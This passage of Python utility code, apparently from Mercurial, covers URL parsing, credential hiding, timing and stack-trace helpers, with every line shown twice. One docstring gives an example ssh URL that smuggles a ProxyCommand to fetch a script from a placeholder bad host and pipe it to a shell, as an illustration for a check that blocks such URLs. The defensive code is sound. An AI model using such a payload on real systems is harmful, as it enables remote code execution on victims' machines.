2977 >>> url(br'\\blah\blah\blah#baz')
2977 >>> url(br'\\blah\blah\blah#baz')
2978 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2978 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2979 >>> url(br'file:///C:\users\me')
2979 >>> url(br'file:///C:\users\me')
2980 <url scheme: 'file', path: 'C:\\users\\me'>
2980 <url scheme: 'file', path: 'C:\\users\\me'>
2981
2981
2982 Authentication credentials:
2982 Authentication credentials:
2983
2983
2984 >>> url(b'ssh://joe:xyz@x/repo')
2984 >>> url(b'ssh://joe:xyz@x/repo')
2985 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2985 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2986 >>> url(b'ssh://joe@x/repo')
2986 >>> url(b'ssh://joe@x/repo')
2987 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2987 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2988
2988
2989 Query strings and fragments:
2989 Query strings and fragments:
2990
2990
2991 >>> url(b'http://host/a?b#c')
2991 >>> url(b'http://host/a?b#c')
2992 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2992 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2993 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2993 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2994 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2994 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2995
2995
2996 Empty path:
2996 Empty path:
2997
2997
2998 >>> url(b'')
2998 >>> url(b'')
2999 <url path: ''>
2999 <url path: ''>
3000 >>> url(b'#a')
3000 >>> url(b'#a')
3001 <url path: '', fragment: 'a'>
3001 <url path: '', fragment: 'a'>
3002 >>> url(b'http://host/')
3002 >>> url(b'http://host/')
3003 <url scheme: 'http', host: 'host', path: ''>
3003 <url scheme: 'http', host: 'host', path: ''>
3004 >>> url(b'http://host/#a')
3004 >>> url(b'http://host/#a')
3005 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3005 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3006
3006
3007 Only scheme:
3007 Only scheme:
3008
3008
3009 >>> url(b'http:')
3009 >>> url(b'http:')
3010 <url scheme: 'http'>
3010 <url scheme: 'http'>
3011 """
3011 """
3012
3012
3013 _safechars = b"!~*'()+"
3013 _safechars = b"!~*'()+"
3014 _safepchars = b"/!~*'()+:\\"
3014 _safepchars = b"/!~*'()+:\\"
3015 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3015 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3016
3016
3017 def __init__(self, path, parsequery=True, parsefragment=True):
3017 def __init__(self, path, parsequery=True, parsefragment=True):
3018 # We slowly chomp away at path until we have only the path left
3018 # We slowly chomp away at path until we have only the path left
3019 self.scheme = self.user = self.passwd = self.host = None
3019 self.scheme = self.user = self.passwd = self.host = None
3020 self.port = self.path = self.query = self.fragment = None
3020 self.port = self.path = self.query = self.fragment = None
3021 self._localpath = True
3021 self._localpath = True
3022 self._hostport = b''
3022 self._hostport = b''
3023 self._origpath = path
3023 self._origpath = path
3024
3024
3025 if parsefragment and b'#' in path:
3025 if parsefragment and b'#' in path:
3026 path, self.fragment = path.split(b'#', 1)
3026 path, self.fragment = path.split(b'#', 1)
3027
3027
3028 # special case for Windows drive letters and UNC paths
3028 # special case for Windows drive letters and UNC paths
3029 if hasdriveletter(path) or path.startswith(b'\\\\'):
3029 if hasdriveletter(path) or path.startswith(b'\\\\'):
3030 self.path = path
3030 self.path = path
3031 return
3031 return
3032
3032
3033 # For compatibility reasons, we can't handle bundle paths as
3033 # For compatibility reasons, we can't handle bundle paths as
3034 # normal URLS
3034 # normal URLS
3035 if path.startswith(b'bundle:'):
3035 if path.startswith(b'bundle:'):
3036 self.scheme = b'bundle'
3036 self.scheme = b'bundle'
3037 path = path[7:]
3037 path = path[7:]
3038 if path.startswith(b'//'):
3038 if path.startswith(b'//'):
3039 path = path[2:]
3039 path = path[2:]
3040 self.path = path
3040 self.path = path
3041 return
3041 return
3042
3042
3043 if self._matchscheme(path):
3043 if self._matchscheme(path):
3044 parts = path.split(b':', 1)
3044 parts = path.split(b':', 1)
3045 if parts[0]:
3045 if parts[0]:
3046 self.scheme, path = parts
3046 self.scheme, path = parts
3047 self._localpath = False
3047 self._localpath = False
3048
3048
3049 if not path:
3049 if not path:
3050 path = None
3050 path = None
3051 if self._localpath:
3051 if self._localpath:
3052 self.path = b''
3052 self.path = b''
3053 return
3053 return
3054 else:
3054 else:
3055 if self._localpath:
3055 if self._localpath:
3056 self.path = path
3056 self.path = path
3057 return
3057 return
3058
3058
3059 if parsequery and b'?' in path:
3059 if parsequery and b'?' in path:
3060 path, self.query = path.split(b'?', 1)
3060 path, self.query = path.split(b'?', 1)
3061 if not path:
3061 if not path:
3062 path = None
3062 path = None
3063 if not self.query:
3063 if not self.query:
3064 self.query = None
3064 self.query = None
3065
3065
3066 # // is required to specify a host/authority
3066 # // is required to specify a host/authority
3067 if path and path.startswith(b'//'):
3067 if path and path.startswith(b'//'):
3068 parts = path[2:].split(b'/', 1)
3068 parts = path[2:].split(b'/', 1)
3069 if len(parts) > 1:
3069 if len(parts) > 1:
3070 self.host, path = parts
3070 self.host, path = parts
3071 else:
3071 else:
3072 self.host = parts[0]
3072 self.host = parts[0]
3073 path = None
3073 path = None
3074 if not self.host:
3074 if not self.host:
3075 self.host = None
3075 self.host = None
3076 # path of file:///d is /d
3076 # path of file:///d is /d
3077 # path of file:///d:/ is d:/, not /d:/
3077 # path of file:///d:/ is d:/, not /d:/
3078 if path and not hasdriveletter(path):
3078 if path and not hasdriveletter(path):
3079 path = b'/' + path
3079 path = b'/' + path
3080
3080
3081 if self.host and b'@' in self.host:
3081 if self.host and b'@' in self.host:
3082 self.user, self.host = self.host.rsplit(b'@', 1)
3082 self.user, self.host = self.host.rsplit(b'@', 1)
3083 if b':' in self.user:
3083 if b':' in self.user:
3084 self.user, self.passwd = self.user.split(b':', 1)
3084 self.user, self.passwd = self.user.split(b':', 1)
3085 if not self.host:
3085 if not self.host:
3086 self.host = None
3086 self.host = None
3087
3087
3088 # Don't split on colons in IPv6 addresses without ports
3088 # Don't split on colons in IPv6 addresses without ports
3089 if (
3089 if (
3090 self.host
3090 self.host
3091 and b':' in self.host
3091 and b':' in self.host
3092 and not (
3092 and not (
3093 self.host.startswith(b'[') and self.host.endswith(b']')
3093 self.host.startswith(b'[') and self.host.endswith(b']')
3094 )
3094 )
3095 ):
3095 ):
3096 self._hostport = self.host
3096 self._hostport = self.host
3097 self.host, self.port = self.host.rsplit(b':', 1)
3097 self.host, self.port = self.host.rsplit(b':', 1)
3098 if not self.host:
3098 if not self.host:
3099 self.host = None
3099 self.host = None
3100
3100
3101 if (
3101 if (
3102 self.host
3102 self.host
3103 and self.scheme == b'file'
3103 and self.scheme == b'file'
3104 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3104 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3105 ):
3105 ):
3106 raise error.Abort(
3106 raise error.Abort(
3107 _(b'file:// URLs can only refer to localhost')
3107 _(b'file:// URLs can only refer to localhost')
3108 )
3108 )
3109
3109
3110 self.path = path
3110 self.path = path
3111
3111
3112 # leave the query string escaped
3112 # leave the query string escaped
3113 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3113 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3114 v = getattr(self, a)
3114 v = getattr(self, a)
3115 if v is not None:
3115 if v is not None:
3116 setattr(self, a, urlreq.unquote(v))
3116 setattr(self, a, urlreq.unquote(v))
3117
3117
3118 @encoding.strmethod
3118 @encoding.strmethod
3119 def __repr__(self):
3119 def __repr__(self):
3120 attrs = []
3120 attrs = []
3121 for a in (
3121 for a in (
3122 b'scheme',
3122 b'scheme',
3123 b'user',
3123 b'user',
3124 b'passwd',
3124 b'passwd',
3125 b'host',
3125 b'host',
3126 b'port',
3126 b'port',
3127 b'path',
3127 b'path',
3128 b'query',
3128 b'query',
3129 b'fragment',
3129 b'fragment',
3130 ):
3130 ):
3131 v = getattr(self, a)
3131 v = getattr(self, a)
3132 if v is not None:
3132 if v is not None:
3133 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3133 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3134 return b'<url %s>' % b', '.join(attrs)
3134 return b'<url %s>' % b', '.join(attrs)
3135
3135
3136 def __bytes__(self):
3136 def __bytes__(self):
3137 r"""Join the URL's components back into a URL string.
3137 r"""Join the URL's components back into a URL string.
3138
3138
3139 Examples:
3139 Examples:
3140
3140
3141 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3141 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3142 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3142 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3143 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3143 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3144 'http://user:pw@host:80/?foo=bar&baz=42'
3144 'http://user:pw@host:80/?foo=bar&baz=42'
3145 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3145 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3146 'http://user:pw@host:80/?foo=bar%3dbaz'
3146 'http://user:pw@host:80/?foo=bar%3dbaz'
3147 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3147 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3148 'ssh://user:pw@[::1]:2200//home/joe#'
3148 'ssh://user:pw@[::1]:2200//home/joe#'
3149 >>> bytes(url(b'http://localhost:80//'))
3149 >>> bytes(url(b'http://localhost:80//'))
3150 'http://localhost:80//'
3150 'http://localhost:80//'
3151 >>> bytes(url(b'http://localhost:80/'))
3151 >>> bytes(url(b'http://localhost:80/'))
3152 'http://localhost:80/'
3152 'http://localhost:80/'
3153 >>> bytes(url(b'http://localhost:80'))
3153 >>> bytes(url(b'http://localhost:80'))
3154 'http://localhost:80/'
3154 'http://localhost:80/'
3155 >>> bytes(url(b'bundle:foo'))
3155 >>> bytes(url(b'bundle:foo'))
3156 'bundle:foo'
3156 'bundle:foo'
3157 >>> bytes(url(b'bundle://../foo'))
3157 >>> bytes(url(b'bundle://../foo'))
3158 'bundle:../foo'
3158 'bundle:../foo'
3159 >>> bytes(url(b'path'))
3159 >>> bytes(url(b'path'))
3160 'path'
3160 'path'
3161 >>> bytes(url(b'file:///tmp/foo/bar'))
3161 >>> bytes(url(b'file:///tmp/foo/bar'))
3162 'file:///tmp/foo/bar'
3162 'file:///tmp/foo/bar'
3163 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3163 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3164 'file:///c:/tmp/foo/bar'
3164 'file:///c:/tmp/foo/bar'
3165 >>> print(url(br'bundle:foo\bar'))
3165 >>> print(url(br'bundle:foo\bar'))
3166 bundle:foo\bar
3166 bundle:foo\bar
3167 >>> print(url(br'file:///D:\data\hg'))
3167 >>> print(url(br'file:///D:\data\hg'))
3168 file:///D:\data\hg
3168 file:///D:\data\hg
3169 """
3169 """
3170 if self._localpath:
3170 if self._localpath:
3171 s = self.path
3171 s = self.path
3172 if self.scheme == b'bundle':
3172 if self.scheme == b'bundle':
3173 s = b'bundle:' + s
3173 s = b'bundle:' + s
3174 if self.fragment:
3174 if self.fragment:
3175 s += b'#' + self.fragment
3175 s += b'#' + self.fragment
3176 return s
3176 return s
3177
3177
3178 s = self.scheme + b':'
3178 s = self.scheme + b':'
3179 if self.user or self.passwd or self.host:
3179 if self.user or self.passwd or self.host:
3180 s += b'//'
3180 s += b'//'
3181 elif self.scheme and (
3181 elif self.scheme and (
3182 not self.path
3182 not self.path
3183 or self.path.startswith(b'/')
3183 or self.path.startswith(b'/')
3184 or hasdriveletter(self.path)
3184 or hasdriveletter(self.path)
3185 ):
3185 ):
3186 s += b'//'
3186 s += b'//'
3187 if hasdriveletter(self.path):
3187 if hasdriveletter(self.path):
3188 s += b'/'
3188 s += b'/'
3189 if self.user:
3189 if self.user:
3190 s += urlreq.quote(self.user, safe=self._safechars)
3190 s += urlreq.quote(self.user, safe=self._safechars)
3191 if self.passwd:
3191 if self.passwd:
3192 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3192 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3193 if self.user or self.passwd:
3193 if self.user or self.passwd:
3194 s += b'@'
3194 s += b'@'
3195 if self.host:
3195 if self.host:
3196 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3196 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3197 s += urlreq.quote(self.host)
3197 s += urlreq.quote(self.host)
3198 else:
3198 else:
3199 s += self.host
3199 s += self.host
3200 if self.port:
3200 if self.port:
3201 s += b':' + urlreq.quote(self.port)
3201 s += b':' + urlreq.quote(self.port)
3202 if self.host:
3202 if self.host:
3203 s += b'/'
3203 s += b'/'
3204 if self.path:
3204 if self.path:
3205 # TODO: similar to the query string, we should not unescape the
3205 # TODO: similar to the query string, we should not unescape the
3206 # path when we store it, the path might contain '%2f' = '/',
3206 # path when we store it, the path might contain '%2f' = '/',
3207 # which we should *not* escape.
3207 # which we should *not* escape.
3208 s += urlreq.quote(self.path, safe=self._safepchars)
3208 s += urlreq.quote(self.path, safe=self._safepchars)
3209 if self.query:
3209 if self.query:
3210 # we store the query in escaped form.
3210 # we store the query in escaped form.
3211 s += b'?' + self.query
3211 s += b'?' + self.query
3212 if self.fragment is not None:
3212 if self.fragment is not None:
3213 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3213 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3214 return s
3214 return s
3215
3215
3216 __str__ = encoding.strmethod(__bytes__)
3216 __str__ = encoding.strmethod(__bytes__)
3217
3217
3218 def authinfo(self):
3218 def authinfo(self):
3219 user, passwd = self.user, self.passwd
3219 user, passwd = self.user, self.passwd
3220 try:
3220 try:
3221 self.user, self.passwd = None, None
3221 self.user, self.passwd = None, None
3222 s = bytes(self)
3222 s = bytes(self)
3223 finally:
3223 finally:
3224 self.user, self.passwd = user, passwd
3224 self.user, self.passwd = user, passwd
3225 if not self.user:
3225 if not self.user:
3226 return (s, None)
3226 return (s, None)
3227 # authinfo[1] is passed to urllib2 password manager, and its
3227 # authinfo[1] is passed to urllib2 password manager, and its
3228 # URIs must not contain credentials. The host is passed in the
3228 # URIs must not contain credentials. The host is passed in the
3229 # URIs list because Python < 2.4.3 uses only that to search for
3229 # URIs list because Python < 2.4.3 uses only that to search for
3230 # a password.
3230 # a password.
3231 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3231 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3232
3232
3233 def isabs(self):
3233 def isabs(self):
3234 if self.scheme and self.scheme != b'file':
3234 if self.scheme and self.scheme != b'file':
3235 return True # remote URL
3235 return True # remote URL
3236 if hasdriveletter(self.path):
3236 if hasdriveletter(self.path):
3237 return True # absolute for our purposes - can't be joined()
3237 return True # absolute for our purposes - can't be joined()
3238 if self.path.startswith(br'\\'):
3238 if self.path.startswith(br'\\'):
3239 return True # Windows UNC path
3239 return True # Windows UNC path
3240 if self.path.startswith(b'/'):
3240 if self.path.startswith(b'/'):
3241 return True # POSIX-style
3241 return True # POSIX-style
3242 return False
3242 return False
3243
3243
3244 def localpath(self):
3244 def localpath(self):
3245 if self.scheme == b'file' or self.scheme == b'bundle':
3245 if self.scheme == b'file' or self.scheme == b'bundle':
3246 path = self.path or b'/'
3246 path = self.path or b'/'
3247 # For Windows, we need to promote hosts containing drive
3247 # For Windows, we need to promote hosts containing drive
3248 # letters to paths with drive letters.
3248 # letters to paths with drive letters.
3249 if hasdriveletter(self._hostport):
3249 if hasdriveletter(self._hostport):
3250 path = self._hostport + b'/' + self.path
3250 path = self._hostport + b'/' + self.path
3251 elif (
3251 elif (
3252 self.host is not None and self.path and not hasdriveletter(path)
3252 self.host is not None and self.path and not hasdriveletter(path)
3253 ):
3253 ):
3254 path = b'/' + path
3254 path = b'/' + path
3255 return path
3255 return path
3256 return self._origpath
3256 return self._origpath
3257
3257
3258 def islocal(self):
3258 def islocal(self):
3259 '''whether localpath will return something that posixfile can open'''
3259 '''whether localpath will return something that posixfile can open'''
3260 return (
3260 return (
3261 not self.scheme
3261 not self.scheme
3262 or self.scheme == b'file'
3262 or self.scheme == b'file'
3263 or self.scheme == b'bundle'
3263 or self.scheme == b'bundle'
3264 )
3264 )
3265
3265
3266
3266
3267 def hasscheme(path):
3267 def hasscheme(path):
3268 return bool(url(path).scheme)
3268 return bool(url(path).scheme)
3269
3269
3270
3270
3271 def hasdriveletter(path):
3271 def hasdriveletter(path):
3272 return path and path[1:2] == b':' and path[0:1].isalpha()
3272 return path and path[1:2] == b':' and path[0:1].isalpha()
3273
3273
3274
3274
3275 def urllocalpath(path):
3275 def urllocalpath(path):
3276 return url(path, parsequery=False, parsefragment=False).localpath()
3276 return url(path, parsequery=False, parsefragment=False).localpath()
3277
3277
3278
3278
3279 def checksafessh(path):
3279 def checksafessh(path):
3280 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3280 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3281
3281
3282 This is a sanity check for ssh urls. ssh will parse the first item as
3282 This is a sanity check for ssh urls. ssh will parse the first item as
3283 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3283 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3284 Let's prevent these potentially exploited urls entirely and warn the
3284 Let's prevent these potentially exploited urls entirely and warn the
3285 user.
3285 user.
3286
3286
3287 Raises an error.Abort when the url is unsafe.
3287 Raises an error.Abort when the url is unsafe.
3288 """
3288 """
3289 path = urlreq.unquote(path)
3289 path = urlreq.unquote(path)
3290 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3290 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3291 raise error.Abort(
3291 raise error.Abort(
3292 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3292 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3293 )
3293 )
3294
3294
3295
3295
3296 def hidepassword(u):
3296 def hidepassword(u):
3297 '''hide user credential in a url string'''
3297 '''hide user credential in a url string'''
3298 u = url(u)
3298 u = url(u)
3299 if u.passwd:
3299 if u.passwd:
3300 u.passwd = b'***'
3300 u.passwd = b'***'
3301 return bytes(u)
3301 return bytes(u)
3302
3302
3303
3303
3304 def removeauth(u):
3304 def removeauth(u):
3305 '''remove all authentication information from a url string'''
3305 '''remove all authentication information from a url string'''
3306 u = url(u)
3306 u = url(u)
3307 u.user = u.passwd = None
3307 u.user = u.passwd = None
3308 return bytes(u)
3308 return bytes(u)
3309
3309
3310
3310
3311 timecount = unitcountfn(
3311 timecount = unitcountfn(
3312 (1, 1e3, _(b'%.0f s')),
3312 (1, 1e3, _(b'%.0f s')),
3313 (100, 1, _(b'%.1f s')),
3313 (100, 1, _(b'%.1f s')),
3314 (10, 1, _(b'%.2f s')),
3314 (10, 1, _(b'%.2f s')),
3315 (1, 1, _(b'%.3f s')),
3315 (1, 1, _(b'%.3f s')),
3316 (100, 0.001, _(b'%.1f ms')),
3316 (100, 0.001, _(b'%.1f ms')),
3317 (10, 0.001, _(b'%.2f ms')),
3317 (10, 0.001, _(b'%.2f ms')),
3318 (1, 0.001, _(b'%.3f ms')),
3318 (1, 0.001, _(b'%.3f ms')),
3319 (100, 0.000001, _(b'%.1f us')),
3319 (100, 0.000001, _(b'%.1f us')),
3320 (10, 0.000001, _(b'%.2f us')),
3320 (10, 0.000001, _(b'%.2f us')),
3321 (1, 0.000001, _(b'%.3f us')),
3321 (1, 0.000001, _(b'%.3f us')),
3322 (100, 0.000000001, _(b'%.1f ns')),
3322 (100, 0.000000001, _(b'%.1f ns')),
3323 (10, 0.000000001, _(b'%.2f ns')),
3323 (10, 0.000000001, _(b'%.2f ns')),
3324 (1, 0.000000001, _(b'%.3f ns')),
3324 (1, 0.000000001, _(b'%.3f ns')),
3325 )
3325 )
3326
3326
3327
3327
3328 @attr.s
3328 @attr.s
3329 class timedcmstats(object):
3329 class timedcmstats(object):
3330 """Stats information produced by the timedcm context manager on entering."""
3330 """Stats information produced by the timedcm context manager on entering."""
3331
3331
3332 # the starting value of the timer as a float (meaning and resulution is
3332 # the starting value of the timer as a float (meaning and resulution is
3333 # platform dependent, see util.timer)
3333 # platform dependent, see util.timer)
3334 start = attr.ib(default=attr.Factory(lambda: timer()))
3334 start = attr.ib(default=attr.Factory(lambda: timer()))
3335 # the number of seconds as a floating point value; starts at 0, updated when
3335 # the number of seconds as a floating point value; starts at 0, updated when
3336 # the context is exited.
3336 # the context is exited.
3337 elapsed = attr.ib(default=0)
3337 elapsed = attr.ib(default=0)
3338 # the number of nested timedcm context managers.
3338 # the number of nested timedcm context managers.
3339 level = attr.ib(default=1)
3339 level = attr.ib(default=1)
3340
3340
3341 def __bytes__(self):
3341 def __bytes__(self):
3342 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3342 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3343
3343
3344 __str__ = encoding.strmethod(__bytes__)
3344 __str__ = encoding.strmethod(__bytes__)
3345
3345
3346
3346
3347 @contextlib.contextmanager
3347 @contextlib.contextmanager
3348 def timedcm(whencefmt, *whenceargs):
3348 def timedcm(whencefmt, *whenceargs):
3349 """A context manager that produces timing information for a given context.
3349 """A context manager that produces timing information for a given context.
3350
3350
3351 On entering a timedcmstats instance is produced.
3351 On entering a timedcmstats instance is produced.
3352
3352
3353 This context manager is reentrant.
3353 This context manager is reentrant.
3354
3354
3355 """
3355 """
3356 # track nested context managers
3356 # track nested context managers
3357 timedcm._nested += 1
3357 timedcm._nested += 1
3358 timing_stats = timedcmstats(level=timedcm._nested)
3358 timing_stats = timedcmstats(level=timedcm._nested)
3359 try:
3359 try:
3360 with tracing.log(whencefmt, *whenceargs):
3360 with tracing.log(whencefmt, *whenceargs):
3361 yield timing_stats
3361 yield timing_stats
3362 finally:
3362 finally:
3363 timing_stats.elapsed = timer() - timing_stats.start
3363 timing_stats.elapsed = timer() - timing_stats.start
3364 timedcm._nested -= 1
3364 timedcm._nested -= 1
3365
3365
3366
3366
3367 timedcm._nested = 0
3367 timedcm._nested = 0
3368
3368
3369
3369
3370 def timed(func):
3370 def timed(func):
3371 '''Report the execution time of a function call to stderr.
3371 '''Report the execution time of a function call to stderr.
3372
3372
3373 During development, use as a decorator when you need to measure
3373 During development, use as a decorator when you need to measure
3374 the cost of a function, e.g. as follows:
3374 the cost of a function, e.g. as follows:
3375
3375
3376 @util.timed
3376 @util.timed
3377 def foo(a, b, c):
3377 def foo(a, b, c):
3378 pass
3378 pass
3379 '''
3379 '''
3380
3380
3381 def wrapper(*args, **kwargs):
3381 def wrapper(*args, **kwargs):
3382 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3382 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3383 result = func(*args, **kwargs)
3383 result = func(*args, **kwargs)
3384 stderr = procutil.stderr
3384 stderr = procutil.stderr
3385 stderr.write(
3385 stderr.write(
3386 b'%s%s: %s\n'
3386 b'%s%s: %s\n'
3387 % (
3387 % (
3388 b' ' * time_stats.level * 2,
3388 b' ' * time_stats.level * 2,
3389 pycompat.bytestr(func.__name__),
3389 pycompat.bytestr(func.__name__),
3390 time_stats,
3390 time_stats,
3391 )
3391 )
3392 )
3392 )
3393 return result
3393 return result
3394
3394
3395 return wrapper
3395 return wrapper
3396
3396
3397
3397
3398 _sizeunits = (
3398 _sizeunits = (
3399 (b'm', 2 ** 20),
3399 (b'm', 2 ** 20),
3400 (b'k', 2 ** 10),
3400 (b'k', 2 ** 10),
3401 (b'g', 2 ** 30),
3401 (b'g', 2 ** 30),
3402 (b'kb', 2 ** 10),
3402 (b'kb', 2 ** 10),
3403 (b'mb', 2 ** 20),
3403 (b'mb', 2 ** 20),
3404 (b'gb', 2 ** 30),
3404 (b'gb', 2 ** 30),
3405 (b'b', 1),
3405 (b'b', 1),
3406 )
3406 )
3407
3407
3408
3408
3409 def sizetoint(s):
3409 def sizetoint(s):
3410 '''Convert a space specifier to a byte count.
3410 '''Convert a space specifier to a byte count.
3411
3411
3412 >>> sizetoint(b'30')
3412 >>> sizetoint(b'30')
3413 30
3413 30
3414 >>> sizetoint(b'2.2kb')
3414 >>> sizetoint(b'2.2kb')
3415 2252
3415 2252
3416 >>> sizetoint(b'6M')
3416 >>> sizetoint(b'6M')
3417 6291456
3417 6291456
3418 '''
3418 '''
3419 t = s.strip().lower()
3419 t = s.strip().lower()
3420 try:
3420 try:
3421 for k, u in _sizeunits:
3421 for k, u in _sizeunits:
3422 if t.endswith(k):
3422 if t.endswith(k):
3423 return int(float(t[: -len(k)]) * u)
3423 return int(float(t[: -len(k)]) * u)
3424 return int(t)
3424 return int(t)
3425 except ValueError:
3425 except ValueError:
3426 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3426 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3427
3427
3428
3428
3429 class hooks(object):
3429 class hooks(object):
3430 '''A collection of hook functions that can be used to extend a
3430 '''A collection of hook functions that can be used to extend a
3431 function's behavior. Hooks are called in lexicographic order,
3431 function's behavior. Hooks are called in lexicographic order,
3432 based on the names of their sources.'''
3432 based on the names of their sources.'''
3433
3433
3434 def __init__(self):
3434 def __init__(self):
3435 self._hooks = []
3435 self._hooks = []
3436
3436
3437 def add(self, source, hook):
3437 def add(self, source, hook):
3438 self._hooks.append((source, hook))
3438 self._hooks.append((source, hook))
3439
3439
3440 def __call__(self, *args):
3440 def __call__(self, *args):
3441 self._hooks.sort(key=lambda x: x[0])
3441 self._hooks.sort(key=lambda x: x[0])
3442 results = []
3442 results = []
3443 for source, hook in self._hooks:
3443 for source, hook in self._hooks:
3444 results.append(hook(*args))
3444 results.append(hook(*args))
3445 return results
3445 return results
3446
3446
3447
3447
3448 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3448 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3449 '''Yields lines for a nicely formatted stacktrace.
3449 '''Yields lines for a nicely formatted stacktrace.
3450 Skips the 'skip' last entries, then return the last 'depth' entries.
3450 Skips the 'skip' last entries, then return the last 'depth' entries.
3451 Each file+linenumber is formatted according to fileline.
3451 Each file+linenumber is formatted according to fileline.
3452 Each line is formatted according to line.
3452 Each line is formatted according to line.
3453 If line is None, it yields:
3453 If line is None, it yields:
3454 length of longest filepath+line number,
3454 length of longest filepath+line number,
3455 filepath+linenumber,
3455 filepath+linenumber,
3456 function
3456 function
3457
3457
3458 Not be used in production code but very convenient while developing.
3458 Not be used in production code but very convenient while developing.
3459 '''
3459 '''
3460 entries = [
3460 entries = [
3461 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3461 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3462 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3462 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3463 ][-depth:]
3463 ][-depth:]
3464 if entries:
3464 if entries:
3465 fnmax = max(len(entry[0]) for entry in entries)
3465 fnmax = max(len(entry[0]) for entry in entries)
3466 for fnln, func in entries:
3466 for fnln, func in entries:
3467 if line is None:
3467 if line is None:
3468 yield (fnmax, fnln, func)
3468 yield (fnmax, fnln, func)
3469 else:
3469 else:
3470 yield line % (fnmax, fnln, func)
3470 yield line % (fnmax, fnln, func)
3471
3471
3472
3472
3473 def debugstacktrace(
3473 def debugstacktrace(
3474 msg=b'stacktrace',
3474 msg=b'stacktrace',
3475 skip=0,
3475 skip=0,
3476 f=procutil.stderr,
3476 f=procutil.stderr,
3477 otherf=procutil.stdout,
3477 otherf=procutil.stdout,
3478 depth=0,
3478 depth=0,
3479 ):
3479 ):
3480 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3480 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3481 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3481 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3482 By default it will flush stdout first.
3482 By default it will flush stdout first.
3483 It can be used everywhere and intentionally does not require an ui object.
3483 It can be used everywhere and intentionally does not require an ui object.
3484 Not be used in production code but very convenient while developing.
3484 Not be used in production code but very convenient while developing.
3485 '''
3485 '''
3486 if otherf:
3486 if otherf:
3487 otherf.flush()
3487 otherf.flush()
3488 f.write(b'%s at:\n' % msg.rstrip())
3488 f.write(b'%s at:\n' % msg.rstrip())
3489 for line in getstackframes(skip + 1, depth=depth):
3489 for line in getstackframes(skip + 1, depth=depth):
3490 f.write(line)
3490 f.write(line)
3491 f.flush()
3491 f.flush()
3492
3492
3493
3493
3494 # convenient shortcut
3494 # convenient shortcut
3495 dst = debugstacktrace
3495 dst = debugstacktrace
3496
3496
3497
3497
3498 def safename(f, tag, ctx, others=None):
3498 def safename(f, tag, ctx, others=None):
3499 """
3499 """
3500 Generate a name that it is safe to rename f to in the given context.
3500 Generate a name that it is safe to rename f to in the given context.
3501
3501
3502 f: filename to rename
3502 f: filename to rename
3503 tag: a string tag that will be included in the new name
